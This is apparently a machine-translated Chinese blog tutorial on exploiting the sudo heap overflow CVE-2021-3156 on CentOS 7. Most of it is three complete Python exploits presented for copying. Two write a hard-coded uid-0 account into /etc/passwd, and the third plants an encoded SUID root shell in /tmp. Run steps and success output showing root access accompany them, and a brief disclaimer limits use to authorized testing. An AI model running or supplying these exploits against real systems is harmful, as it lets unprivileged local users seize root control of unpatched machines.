当前位置:网站首页>Use posture of sudo right raising vulnerability in actual combat (cve-2021-3156)
Use posture of sudo right raising vulnerability in actual combat (cve-2021-3156)
2022-07-03 05:03:00 【zhibx】
In action sudo Use posture of right raising vulnerability
0x00 Summary of vulnerability
2021 year 1 month 26 Japan ,Linux Safety tools sudo A serious heap based buffer overflow vulnerability was found . Take advantage of this loophole , The attacker does not need to know the user password , You can get the same root jurisdiction , And under the default configuration . This vulnerability has been assigned to CVE-2021-3156, The risk rating was 7 branch . The reason for the vulnerability is sudo The backslash in the parameter was escaped incorrectly .
0x01 Loophole principle
When in class Unix When executing commands on the operating system of , Not root Users can use sudo Command to root Execute the command as a user . because sudo Incorrectly escaping backslashes in parameters resulted in Heap Buffer Overflow , This allows any local user ( Whether it's in or not sudoers In file ) get root jurisdiction , No authentication required , And the attacker does not need to know the user password .
0x02 Affected version
Sudo 1.8.2 – 1.8.31p2
Sudo 1.9.0 – 1.9.5p1
0x03 Not affected version
sudo =>1.9.5p2
0x04 Loophole recurrence (centos)
1. Pay attention to the input of online transmission sudoedit -s /
Then check that the echo method is not accurate , Be sure to verify manually
2. Note that if it is webshell Extraction must be interactive shell
Reappear POC1:
First create a centos virtual machine , View version
As you can see above ,Linux The version is centos7.9 sudo The version is 1.8.23
Create a low authority account .
Use one python edition Of , This version can be used for the default configuration centos The attack .
If you don't want to download, you can directly copy the following code
#!/usr/bin/python
''' Exploit for CVE-2021-3156 on CentOS 7 by sleepya Simplified version of exploit_userspec.py for easy understanding. - Remove all checking code - Fixed all offset (no auto finding) Note: This exploit only work on sudo 1.8.23 on CentOS 7 with default configuration Note: Disable ASLR before running the exploit (also modify STACK_ADDR_PAGE below) if you don't want to wait for bruteforcing '''
import os
import sys
import resource
from struct import pack
from ctypes import cdll, c_char_p, POINTER
SUDO_PATH = b"/usr/bin/sudo" # can be used in execve by passing argv[0] as "sudoedit"
PASSWD_PATH = '/etc/passwd'
APPEND_CONTENT = b"gg:$5$a$gemgwVPxLx/tdtByhncd4joKlMRYQ3IVwdoBXPACCL2:0:0:gg:/root:/bin/bash\n";
#STACK_ADDR_PAGE = 0x7fffffff1000 # for ASLR disabled
STACK_ADDR_PAGE = 0x7fffe5d35000
libc = cdll.LoadLibrary("libc.so.6")
libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p)
def execve(filename, cargv, cenvp):
libc.execve(filename, cargv, cenvp)
def spawn_raw(filename, cargv, cenvp):
pid = os.fork()
if pid:
# parent
_, exit_code = os.waitpid(pid, 0)
return exit_code
else:
# child
execve(filename, cargv, cenvp)
exit(0)
def spawn(filename, argv, envp):
cargv = (c_char_p * len(argv))(*argv)
cenvp = (c_char_p * len(env))(*env)
return spawn_raw(filename, cargv, cenvp)
resource.setrlimit(resource.RLIMIT_STACK, (resource.RLIM_INFINITY, resource.RLIM_INFINITY))
# expect large hole for cmnd size is correct
TARGET_CMND_SIZE = 0x1b50
argv = [ "sudoedit", "-A", "-s", PASSWD_PATH, "A"*(TARGET_CMND_SIZE-0x10-len(PASSWD_PATH)-1)+"\\", None ]
SA = STACK_ADDR_PAGE
ADDR_REFSTR = pack('<Q', SA+0x20) # ref string
ADDR_PRIV_PREV = pack('<Q', SA+0x10)
ADDR_CMND_PREV = pack('<Q', SA+0x18) # cmndspec
ADDR_MEMBER_PREV = pack('<Q', SA+0x20)
ADDR_DEF_VAR = pack('<Q', SA+0x10)
ADDR_DEF_BINDING = pack('<Q', SA+0x30)
OFFSET = 0x30 + 0x20
ADDR_USER = pack('<Q', SA+OFFSET)
ADDR_MEMBER = pack('<Q', SA+OFFSET+0x40)
ADDR_CMND = pack('<Q', SA+OFFSET+0x40+0x30)
ADDR_PRIV = pack('<Q', SA+OFFSET+0x40+0x30+0x60)
# for spraying
epage = [
'A'*0x8 + # to not ending with 0x00
# fake def->var chunk (get freed)
'\x21', '', '', '', '', '', '',
ADDR_PRIV[:6], '', # pointer to privilege
ADDR_CMND[:6], '', # pointer to cmndspec
ADDR_MEMBER[:6], '', # pointer to member
# fake def->binding (list head) (get freed)
'\x21', '', '', '', '', '', '',
'', '', '', '', '', '', '', '', # members.first
'A'*0x10 + # members.last, pad
# userspec chunk (get freed)
'\x41', '', '', '', '', '', '', # chunk metadata
'', '', '', '', '', '', '', '', # entries.tqe_next
'A'*8 + # entries.tqe_prev
'', '', '', '', '', '', '', '', # users.tqh_first
ADDR_MEMBER[:6]+'', '', # users.tqh_last
'', '', '', '', '', '', '', '', # privileges.tqh_first
ADDR_PRIV[:6]+'', '', # privileges.tqh_last
'', '', '', '', '', '', '', '', # comments.stqh_first
# member chunk
'\x31', '', '', '', '', '', '', # chunk size , userspec.comments.stqh_last (can be any)
'A'*8 + # member.tqe_next (can be any), userspec.lineno (can be any)
ADDR_MEMBER_PREV[:6], '', # member.tqe_prev, userspec.file (ref string)
'A'*8 + # member.name (can be any because this object is not freed)
pack('<H', 284), '', # type, negated
'A'*0xc+ # padding
# cmndspec chunk
'\x61'*0x8 + # chunk metadata (need only prev_inuse flag)
'A'*0x8 + # entries.tqe_next
ADDR_CMND_PREV[:6], '', # entries.teq_prev
'', '', '', '', '', '', '', '', # runasuserlist
'', '', '', '', '', '', '', '', # runasgrouplist
ADDR_MEMBER[:6], '', # cmnd
'\xf9'+'\xff'*0x17+ # tag (NOPASSWD), timeout, notbefore, notafter
'', '', '', '', '', '', '', '', # role
'', '', '', '', '', '', '', '', # type
'A'*8 + # padding
# privileges chunk
'\x51'*0x8 + # chunk metadata
'A'*0x8 + # entries.tqe_next
ADDR_PRIV_PREV[:6], '', # entries.teq_prev
'A'*8 + # ldap_role
'A'*8 + # hostlist.tqh_first
ADDR_MEMBER[:6], '', # hostlist.teq_last
'A'*8 + # cmndlist.tqh_first
ADDR_CMND[:6], '', # cmndlist.teq_last
]
cnt = sum(map(len, epage))
padlen = 4096 - cnt - len(epage)
epage.append('P'*(padlen-1))
env = [
"A"*(7+0x4010 + 0x110) + # overwrite until first defaults
"\x21\\", "\\", "\\", "\\", "\\", "\\", "\\",
"A"*0x18 +
# defaults
"\x41\\", "\\", "\\", "\\", "\\", "\\", "\\", # chunk size
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # next
'a'*8 + # prev
ADDR_DEF_VAR[:6]+'\\', '\\', # var
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # val
ADDR_DEF_BINDING[:6]+'\\', '\\', # binding
ADDR_REFSTR[:6]+'\\', '\\', # file
"Z"*0x8 + # type, op, error, lineno
"\x31\\", "\\", "\\", "\\", "\\", "\\", "\\", # chunk size (just need valid)
'C'*0x638+ # need prev_inuse and overwrite until userspec
'B'*0x1b0+
# userspec chunk
# this chunk is not used because list is traversed with curr->prev->prev->next
"\x61\\", "\\", "\\", "\\", "\\", "\\", "\\", # chunk size
ADDR_USER[:6]+'\\', '\\', # entries.tqe_next points to fake userspec in stack
"A"*8 + # entries.tqe_prev
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # users.tqh_first
ADDR_MEMBER[:6]+'\\', '\\', # users.tqh_last
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "", # privileges.tqh_first
"LC_ALL=C",
"SUDO_EDITOR=/usr/bin/tee -a", # append stdin to /etc/passwd
"TZ=:",
]
ENV_STACK_SIZE_MB = 4
for i in range(ENV_STACK_SIZE_MB * 1024 / 4):
env.extend(epage)
# last element. prepare space for '/usr/bin/sudo' and extra 8 bytes
env[-1] = env[-1][:-len(SUDO_PATH)-1-8]
env.append(None)
cargv = (c_char_p * len(argv))(*argv)
cenvp = (c_char_p * len(env))(*env)
# write passwd line in stdin. it will be added to /etc/passwd when success by "tee -a"
r, w = os.pipe()
os.dup2(r, 0)
w = os.fdopen(w, 'w')
w.write(APPEND_CONTENT)
w.close()
null_fd = os.open('/dev/null', os.O_RDWR)
os.dup2(null_fd, 2)
for i in range(8192):
sys.stdout.write('%d\r' % i)
if i % 8 == 0:
sys.stdout.flush()
exit_code = spawn_raw(SUDO_PATH, cargv, cenvp)
if exit_code == 0:
print("success at %d" % i)
break
Use a low privilege account to run exploit_cent7_userspec.py
If nothing is displayed at the end of such a run, it will fail .
If the operation fails, run it several times , Some run 5.6 Only after running successfully , This is the second run , You can see that it has run successfully .gg:$5$a$gemgwVPxLx/tdtByhncd4joKlMRYQ3IVwdoBXPACCL2:0:0:gg:/root:/bin/bash success at 490
This one at the back 490 Indicates the operation of 490 Success .
After success, a user name of gg, The password for gg Of root Authorized users , Successful claim ,whoami
As you can see, yes root jurisdiction
Reappear POC2:
This POC It's downloaded from toast .
#!/usr/bin/python
import os
import sys
import resource
from struct import pack
from ctypes import cdll, c_char_p, POINTER
SUDO_PATH = b"/usr/bin/sudo"
PASSWD_PATH = '/etc/passwd'
APPEND_CONTENT = b"aa:$5$AZaSmJBP$lsgF8hex//kd.G4XxUJGaS618ZtYoQ796UpkM/8Ucm3:0:0:gg:/root:/bin/bash\n";
#STACK_ADDR_PAGE = 0x7fffffff1000 # for ASLR disabled
STACK_ADDR_PAGE = 0x7fffe5d35000
libc = cdll.LoadLibrary("libc.so.6")
libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p)
def execve(filename, cargv, cenvp):
libc.execve(filename, cargv, cenvp)
def spawn_raw(filename, cargv, cenvp):
pid = os.fork()
if pid:
# parent
_, exit_code = os.waitpid(pid, 0)
return exit_code
else:
# child
execve(filename, cargv, cenvp)
exit(0)
def spawn(filename, argv, envp):
cargv = (c_char_p * len(argv))(*argv)
cenvp = (c_char_p * len(env))(*env)
return spawn_raw(filename, cargv, cenvp)
resource.setrlimit(resource.RLIMIT_STACK, (resource.RLIM_INFINITY, resource.RLIM_INFINITY))
# expect large hole for cmnd size is correct
TARGET_CMND_SIZE = 0x1b50
argv = [ "sudoedit", "-A", "-s", PASSWD_PATH, "A"*(TARGET_CMND_SIZE-0x10-len(PASSWD_PATH)-1)+"\\", None ]
SA = STACK_ADDR_PAGE
ADDR_REFSTR = pack('<Q', SA+0x20) # ref string
ADDR_PRIV_PREV = pack('<Q', SA+0x10)
ADDR_CMND_PREV = pack('<Q', SA+0x18) # cmndspec
ADDR_MEMBER_PREV = pack('<Q', SA+0x20)
ADDR_DEF_VAR = pack('<Q', SA+0x10)
ADDR_DEF_BINDING = pack('<Q', SA+0x30)
OFFSET = 0x30 + 0x20
ADDR_USER = pack('<Q', SA+OFFSET)
ADDR_MEMBER = pack('<Q', SA+OFFSET+0x40)
ADDR_CMND = pack('<Q', SA+OFFSET+0x40+0x30)
ADDR_PRIV = pack('<Q', SA+OFFSET+0x40+0x30+0x60)
# for spraying
epage = [
'A'*0x8 + # to not ending with 0x00
# fake def->var chunk (get freed)
'\x21', '', '', '', '', '', '',
ADDR_PRIV[:6], '', # pointer to privilege
ADDR_CMND[:6], '', # pointer to cmndspec
ADDR_MEMBER[:6], '', # pointer to member
# fake def->binding (list head) (get freed)
'\x21', '', '', '', '', '', '',
'', '', '', '', '', '', '', '', # members.first
'A'*0x10 + # members.last, pad
# userspec chunk (get freed)
'\x41', '', '', '', '', '', '', # chunk metadata
'', '', '', '', '', '', '', '', # entries.tqe_next
'A'*8 + # entries.tqe_prev
'', '', '', '', '', '', '', '', # users.tqh_first
ADDR_MEMBER[:6]+'', '', # users.tqh_last
'', '', '', '', '', '', '', '', # privileges.tqh_first
ADDR_PRIV[:6]+'', '', # privileges.tqh_last
'', '', '', '', '', '', '', '', # comments.stqh_first
# member chunk
'\x31', '', '', '', '', '', '', # chunk size , userspec.comments.stqh_last (can be any)
'A'*8 + # member.tqe_next (can be any), userspec.lineno (can be any)
ADDR_MEMBER_PREV[:6], '', # member.tqe_prev, userspec.file (ref string)
'A'*8 + # member.name (can be any because this object is not freed)
pack('<H', 284), '', # type, negated
'A'*0xc+ # padding
# cmndspec chunk
'\x61'*0x8 + # chunk metadata (need only prev_inuse flag)
'A'*0x8 + # entries.tqe_next
ADDR_CMND_PREV[:6], '', # entries.teq_prev
'', '', '', '', '', '', '', '', # runasuserlist
'', '', '', '', '', '', '', '', # runasgrouplist
ADDR_MEMBER[:6], '', # cmnd
'\xf9'+'\xff'*0x17+ # tag (NOPASSWD), timeout, notbefore, notafter
'', '', '', '', '', '', '', '', # role
'', '', '', '', '', '', '', '', # type
'A'*8 + # padding
# privileges chunk
'\x51'*0x8 + # chunk metadata
'A'*0x8 + # entries.tqe_next
ADDR_PRIV_PREV[:6], '', # entries.teq_prev
'A'*8 + # ldap_role
'A'*8 + # hostlist.tqh_first
ADDR_MEMBER[:6], '', # hostlist.teq_last
'A'*8 + # cmndlist.tqh_first
ADDR_CMND[:6], '', # cmndlist.teq_last
]
cnt = sum(map(len, epage))
padlen = 4096 - cnt - len(epage)
epage.append('P'*(padlen-1))
env = [
"A"*(7+0x4010 + 0x110) + # overwrite until first defaults
"\x21\\", "\\", "\\", "\\", "\\", "\\", "\\",
"A"*0x18 +
# defaults
"\x41\\", "\\", "\\", "\\", "\\", "\\", "\\", # chunk size
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # next
'a'*8 + # prev
ADDR_DEF_VAR[:6]+'\\', '\\', # var
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # val
ADDR_DEF_BINDING[:6]+'\\', '\\', # binding
ADDR_REFSTR[:6]+'\\', '\\', # file
"Z"*0x8 + # type, op, error, lineno
"\x31\\", "\\", "\\", "\\", "\\", "\\", "\\", # chunk size (just need valid)
'C'*0x638+ # need prev_inuse and overwrite until userspec
'B'*0x1b0+
# userspec chunk
# this chunk is not used because list is traversed with curr->prev->prev->next
"\x61\\", "\\", "\\", "\\", "\\", "\\", "\\", # chunk size
ADDR_USER[:6]+'\\', '\\', # entries.tqe_next points to fake userspec in stack
"A"*8 + # entries.tqe_prev
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\", # users.tqh_first
ADDR_MEMBER[:6]+'\\', '\\', # users.tqh_last
"\\", "\\", "\\", "\\", "\\", "\\", "\\", "", # privileges.tqh_first
"LC_ALL=C",
"SUDO_EDITOR=/usr/bin/tee -a", # append stdin to /etc/passwd
"TZ=:",
]
ENV_STACK_SIZE_MB = 4
for i in range(ENV_STACK_SIZE_MB * 1024 / 4):
env.extend(epage)
# last element. prepare space for '/usr/bin/sudo' and extra 8 bytes
env[-1] = env[-1][:-len(SUDO_PATH)-1-8]
env.append(None)
cargv = (c_char_p * len(argv))(*argv)
cenvp = (c_char_p * len(env))(*env)
# write passwd line in stdin. it will be added to /etc/passwd when success by "tee -a"
r, w = os.pipe()
os.dup2(r, 0)
w = os.fdopen(w, 'w')
w.write(APPEND_CONTENT)
w.close()
null_fd = os.open('/dev/null', os.O_RDWR)
os.dup2(null_fd, 2)
for i in range(8192):
sys.stdout.write('%d\r' % i)
if i % 8 == 0:
sys.stdout.flush()
exit_code = spawn_raw(SUDO_PATH, cargv, cenvp)
if exit_code == 0:
print("success at %d" % i)
break
The same operation as above , The only difference is this poc Successful operation will generate a user name aa
The password for www
Of root
user
And this is it poc Only applicable to the default configuration centos7
Running successfully .
Reappear POC3:
This POC Follow up poc2 It's all toast , And then this poc A little different is that after running successfully, enter the directory /tmp/sshell
You can go right in root jurisdiction .
#!/usr/bin/python
import os
import subprocess
import sys
import resource
import select
import signal
from struct import pack
from ctypes import cdll, c_char_p, POINTER
SUDO_PATH = b"/usr/bin/sudo"
SHELL_PATH = b"/tmp/gg" # a shell script file executed by sudo (max length is 31)
SUID_PATH = "/tmp/sshell" # a file that will be owned by root and suid
PWNED_PATH = "/tmp/pwned" # a file that will be created after SHELL_PATH is executed
libc = cdll.LoadLibrary("libc.so.6")
libc.execve.argtypes = c_char_p,POINTER(c_char_p),POINTER(c_char_p)
resource.setrlimit(resource.RLIMIT_STACK, (resource.RLIM_INFINITY, resource.RLIM_INFINITY))
def create_bin(bin_path):
if os.path.isfile(bin_path):
return # existed
try:
os.makedirs(bin_path[:bin_path.rfind('/')])
except:
pass
import base64, zlib
bin_b64 = 'eNqrd/VxY2JkZIABJgY7BhCvgsEBzHdgwAQODBYMMB0gmhVNFpmeCuXBaAYBCJWVGcHPmpUFJDx26Cdl5ukXZzAEhMRnWUfM5GcFAGyiDWs='
with open(bin_path, 'wb') as f:
f.write(zlib.decompress(base64.b64decode(bin_b64)))
def create_shell(path, suid_path):
with open(path, 'w') as f:
f.write('#!/bin/sh\n')
f.write('/usr/bin/id >> %s\n' % PWNED_PATH)
f.write('/bin/chown root.root %s\n' % suid_path)
f.write('/bin/chmod 4755 %s\n' % suid_path)
os.chmod(path, 0o755)
def execve(filename, cargv, cenvp):
libc.execve(filename, cargv, cenvp)
def spawn_raw(filename, cargv, cenvp):
pid = os.fork()
if pid:
# parent
_, exit_code = os.waitpid(pid, 0)
return exit_code
else:
# child
execve(filename, cargv, cenvp)
exit(0)
def spawn(filename, argv, envp):
cargv = (c_char_p * len(argv))(*argv)
cenvp = (c_char_p * len(envp))(*envp)
# Note: error with backtrace is print to tty directly. cannot be piped or suppressd
r, w = os.pipe()
pid = os.fork()
if not pid:
# child
os.close(r)
os.dup2(w, 2)
execve(filename, cargv, cenvp)
exit(0)
# parent
os.close(w)
# might occur deadlock in heap. kill it if timeout and set exit_code as 6
# 0.5 second should be enough for execution
sr, _, _ = select.select([ r ], [], [], 0.5)
if not sr:
os.kill(pid, signal.SIGKILL)
_, exit_code = os.waitpid(pid, 0)
if not sr: # timeout, assume dead lock in heap
exit_code = 6
if 128 < exit_code < 256:
exit_code -= 128
r = os.fdopen(r, 'r')
err = r.read()
r.close()
return exit_code, err
def has_askpass(err):
# 'sudoedit: no askpass program specified, try setting SUDO_ASKPASS'
return 'sudoedit: no askpass program ' in err
def get_sudo_version():
proc = subprocess.Popen([SUDO_PATH, '-V'], stdout=subprocess.PIPE, bufsize=1, universal_newlines=True)
for line in proc.stdout:
line = line.strip()
if not line:
continue
if line.startswith('Sudo '):
txt = line[12:].strip()
pos = txt.rfind('p')
if pos != -1:
txt = txt[:pos]
versions = list(map(int, txt.split('.')))
break
proc.wait()
return versions
def check_sudo_version():
sudo_vers = get_sudo_version()
assert sudo_vers[0] == 1, "Unexpect sudo major version"
assert sudo_vers[1] == 8, "Unexpect sudo minor version"
return sudo_vers[2]
def check_mailer_root():
if not os.access(SUDO_PATH, os.R_OK):
print("Cannot determine disble-root-mailer flag")
return True
return subprocess.call(['grep', '-q', 'disable-root-mailer', SUDO_PATH]) == 1
def find_cmnd_size():
argv = [ b"sudoedit", b"-A", b"-s", b"", None ]
env = [ b'A'*(7+0x4010+0x110-1), b"LC_ALL=C", b"TZ=:", None ]
size_min, size_max = 0xc00, 0x2000
found_size = 0
while size_max - size_min > 0x10:
curr_size = (size_min + size_max) // 2
curr_size &= 0xfff0
print("\ncurr size: 0x%x" % curr_size)
argv[-2] = b"\xfc"*(curr_size-0x10)+b'\\'
exit_code, err = spawn(SUDO_PATH, argv, env)
print("\nexit code: %d" % exit_code)
print(err)
if exit_code == 256 and has_askpass(err):
# need pass. no crash.
# fit or almost fit
if found_size:
found_size = curr_size
break
# maybe almost fit. try again
found_size = curr_size
size_min = curr_size
size_max = curr_size + 0x20
elif exit_code in (7, 11):
# segfault. too big
if found_size:
break
size_max = curr_size
else:
assert exit_code == 6
# heap corruption. too small
size_min = curr_size
if found_size:
return found_size
assert size_min == 0x2000 - 0x10
# old sudo version and file is in /etc/sudoers.d
print('has 2 holes. very large one is bad')
size_min, size_max = 0xc00, 0x2000
for step in (0x400, 0x100, 0x40, 0x10):
found = False
env[0] = b'A'*(7+0x4010+0x110-1+step+0x100)
for curr_size in range(size_min, size_max, step):
argv[-2] = b"A"*(curr_size-0x10)+b'\\'
exit_code, err = spawn(SUDO_PATH, argv, env)
print("\ncurr size: 0x%x" % curr_size)
print("\nexit code: %d" % exit_code)
print(err)
if exit_code in (7, 11):
size_min = curr_size
found = True
elif found:
print("\nsize_min: 0x%x" % size_min)
break
assert found, "Cannot find cmnd size"
size_max = size_min + step
# TODO: verify
return size_min
def find_defaults_chunk(argv, env_prefix):
offset = 0
pos = len(env_prefix) - 1
env = env_prefix[:]
env.extend([ b"LC_ALL=C", b"TZ=:", None ])
# overflow until sudo crash without asking pass
# crash because of defaults.entries.next is overwritten
while True:
env[pos] += b'A'*0x10
exit_code, err = spawn(SUDO_PATH, argv, env)
# 7 bus error, 11 segfault
if exit_code in (7, 11) and not has_askpass(err):
# found it
env[pos] = env[pos][:-0x10]
break
offset += 0x10
# verify if it is defaults
env = env[:-3]
env[-1] += b'\x41\\' # defaults chunk size 0x40
env.extend([
b'\\', b'\\', b'\\', b'\\', b'\\', b'\\',
(b'' if has_tailq else b'A'*8) + # prev if no tailq
b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", b"\\", # entries.next
(b'A'*8 if has_tailq else b'') + # entries.prev
pack("<Q", 0xffffffffff600000+0x880) + # var (use vsyscall for testing)
b"A"*(0x20-1), # binding, file, type, op, error, lineno
b"LC_ALL=C", b"TZ=:", None
])
exit_code, err = spawn(SUDO_PATH, argv, env)
# old sudo verion has no cleanup if authen fail. exit code is 256.
assert exit_code in (256, 11) and has_askpass(err), "cannot find defaults chunk"
return offset
def create_env(offset_defaults):
with open('/proc/sys/kernel/randomize_va_space') as f:
has_aslr = int(f.read()) != 0
if has_aslr:
STACK_ADDR_PAGE = 0x7fffe5d35000
else:
STACK_ADDR_PAGE = 0x7fffffff1000 # for ASLR disabled
SA = STACK_ADDR_PAGE
ADDR_MEMBER_PREV = pack('<Q', SA+8)
ADDR_MEMBER_LAST = ADDR_MEMBER_PREV
ADDR_MEMBER = pack('<Q', SA+0x20)
ADDR_DEF_BINDING = ADDR_MEMBER
ADDR_MAILER_VAR = pack('<Q', SA+0x20+0x30)
ADDR_MAILER_VAL = pack('<Q', SA+0x20+0x30+0x10)
ADDR_ALWAYS_VAR = pack('<Q', SA+0x20+0x30+0x10+0x20)
ADDR_DEF_BAD = pack('<Q', SA+0x20+0x30+0x10+0x20+0x10)
# no need to make cleanup without a crash. mailer is executed before cleanup steps
# def_mailto is always set
# def_mailerflags is mailer arguments
epage = [
b'A'*0x8 + # to not ending with 0x00
ADDR_MEMBER[:6], b'', # pointer to member
ADDR_MEMBER_PREV[:6], b'', # pointer to member
# member chunk (and defaults->binding (list head))
b'A'*8 + # chunk size
b'', b'', b'', b'', b'', b'', b'', b'', # members.first
ADDR_MEMBER_LAST[:6], b'', # members.last
b'A'*8 + # member.name (can be any because this object is freed as list head (binding))
pack('<H', MATCH_ALL), b'', # type, negated
b'A'*0xc + # padding
# var (mailer)
b'A'*8 + # chunk size
b"mailerpath", b'A'*5 +
# val (mailer) (assume path length is less than 32)
SHELL_PATH, b'A'*(0x20-len(SHELL_PATH)-1) +
# var (mail_always)
b"mail_always", b'A'*4 +
# defaults (invalid mail_always, has val)
(b'' if has_tailq else b'A'*8) + # prev if no tailq
b'', b'', b'', b'', b'', b'', b'', b'', # next
(b'A'*8 if has_tailq else b'') + # prev if has tailq
ADDR_ALWAYS_VAR[:6], b'', # var
ADDR_ALWAYS_VAR[:6], b'', # val (invalid defaults mail_always, trigger sendmail immediately)
ADDR_DEF_BINDING[:6], b'', # binding or binding.first
]
if has_file:
epage.extend([ ADDR_ALWAYS_VAR[:6], b'' ]) # file
elif not has_tailq:
epage.extend([ ADDR_MEMBER[:6], b'' ]) # binding.last
epage.extend([
pack('<H', DEFAULTS_CMND) + # type
b'', b'', # for type is 4 bytes version
])
env = [
b'A'*(7+0x4010+0x110+offset_defaults) +
b'A'*8 + # chunk metadata
(b'' if has_tailq else b'A'*8) + # prev if no tailq
ADDR_DEF_BAD[:6]+b'\\', b'\\', # next
(b'A'*8 if has_tailq else b'') + # prev if has tailq
ADDR_MAILER_VAR[:6]+b'\\', b'\\', # var
ADDR_MAILER_VAL[:6]+b'\\', b'\\', # val
ADDR_DEF_BINDING[:6]+b'\\', b'\\', # binding or bind.first
]
if has_file or not has_tailq:
env.extend([ ADDR_MEMBER[:6]+b'\\', b'\\' ]) # binding.last or file (no use)
env.extend([
pack('<H', DEFAULTS_CMND) + # type
(b'\x01' if has_file else b'\\'), b'', # if not has_file, type is int (4 bytes)
b"LC_ALL=C",
b"TZ=:",
b"SUDO_ASKPASS=/invalid",
])
cnt = sum(map(len, epage))
padlen = 4096 - cnt - len(epage)
epage.append(b'P'*(padlen-1))
ENV_STACK_SIZE_MB = 4
for i in range(ENV_STACK_SIZE_MB * 1024 // 4):
env.extend(epage)
# reserve space in last element for '/usr/bin/sudo' and padding
env[-1] = env[-1][:-14-8]
env.append(None)
return env
def run_until_success(argv, env):
cargv = (c_char_p * len(argv))(*argv)
cenvp = (c_char_p * len(env))(*env)
create_bin(SUID_PATH)
create_shell(SHELL_PATH, SUID_PATH)
null_fd = os.open('/dev/null', os.O_RDWR)
os.dup2(null_fd, 2)
for i in range(65536):
sys.stdout.write('%d\r' % i)
if i % 8 == 0:
sys.stdout.flush()
exit_code = spawn_raw(SUDO_PATH, cargv, cenvp)
if os.path.exists(PWNED_PATH):
print("success at %d" % i)
if os.stat(PWNED_PATH).st_uid != 0:
print("ROOT MAILER is disabled :(")
break
if exit_code not in (7, 11):
print("invalid offset. exit code: %d" % exit_code)
break
def main():
cmnd_size = int(sys.argv[1], 0) if len(sys.argv) > 1 else None
offset_defaults = int(sys.argv[2], 0) if len(sys.argv) > 2 else None
if cmnd_size is None:
cmnd_size = find_cmnd_size()
print("found cmnd size: 0x%x" % cmnd_size)
argv = [ b"sudoedit", b"-A", b"-s", b"A"*(cmnd_size-0x10)+b"\\", None ]
env_prefix = [ b'A'*(7+0x4010+0x110) ]
if offset_defaults is None:
offset_defaults = find_defaults_chunk(argv, env_prefix)
assert offset_defaults != -1
print('')
print("cmnd size: 0x%x" % cmnd_size)
print("offset to defaults: 0x%x" % offset_defaults)
argv = [ b"sudoedit", b"-A", b"-s", b"A"*(cmnd_size-0x10)+b"\\", None ]
env = create_env(offset_defaults)
run_until_success(argv, env)
if __name__ == "__main__":
# global intialization
assert check_mailer_root(), "root mailer is disabled"
sudo_ver = check_sudo_version()
DEFAULTS_CMND = 269
if sudo_ver >= 15:
MATCH_ALL = 284
elif sudo_ver >= 13:
MATCH_ALL = 282
elif sudo_ver >= 7:
MATCH_ALL = 280
elif sudo_ver < 7:
MATCH_ALL = 279
DEFAULTS_CMND = 268
has_tailq = sudo_ver >= 9
has_file = sudo_ver >= 19 # has defaults.file pointer
main()
Running successfully
As you can see, yes root
jurisdiction
disclaimer :
Only for authorized security testing , It is forbidden to attack the site without authorization . This article is only for study and research . It is strictly forbidden to use the content of this article to illegally operate other Internet applications , If it is used for illegal purposes , The consequences will be borne by you , All risks arising are not related to the author of this article , If you continue to read this article, you will follow this content by default .
边栏推荐
- Do you know UVs in modeling?
- document. The problem of missing parameters of referer is solved
- 1106 lowest price in supply chain (25 points)
- Kept hot standby and haproxy
- Celebrate the new year together
- M1 Pro install redis
- C language self-made Games: Sanzi (tic tac toe chess) intelligent chess supplement
- 论文阅读_ICD编码_MSMN
- Market status and development prospects of the global autonomous marine glider industry in 2022
- 1103 integer factorization (30 points)
猜你喜欢
Esp32-c3 learning and testing WiFi (II. Wi Fi distribution - smart_config mode and BlueIf mode)
Actual combat 8051 drives 8-bit nixie tube
Uipath practice (08) - selector
Review the old and know the new: Notes on Data Science
MediaTek 2023 IC written examination approved in advance (topic)
[set theory] relation properties (transitivity | transitivity examples | transitivity related theorems)
[set theory] relation properties (reflexivity | reflexivity theorem | reflexivity | reflexivity theorem | example)
[research materials] 2021 annual report on mergers and acquisitions in the property management industry - Download attached
5-36v input automatic voltage rise and fall PD fast charging scheme drawing 30W low-cost chip
联发科技2023届提前批IC笔试(题目)
随机推荐
1110 complete binary tree (25 points)
Thesis reading_ Chinese medical model_ eHealth
Interface frequency limit access
1094 the largest generation (25 points)
Market status and development prospect prediction of global SoC Test Platform Industry in 2022
Cross platform plug-in flutter for displaying local notifications_ local_ notifications
第十九届浙江省 I. Barbecue
[PHP vulnerability weak type] basic knowledge, PHP weak equality, error reporting and bypassing
Valentine's day limited withdrawal guide: for one in 200 million of you
Sprintf formatter abnormal exit problem
Notes | numpy-08 Advanced index
Market status and development prospect forecast of global button dropper industry in 2022
[backtrader source code analysis 5] rewrite several time number conversion functions in utils with Python
[clock 223] [binary tree] [leetcode high frequency]: 102 Sequence traversal of binary tree
Class loading mechanism (detailed explanation of the whole process)
@RequestMapping
Shell script Basics - basic grammar knowledge
What is UUID
Silent authorization login and registration of wechat applet
leetcode406. Rebuild the queue based on height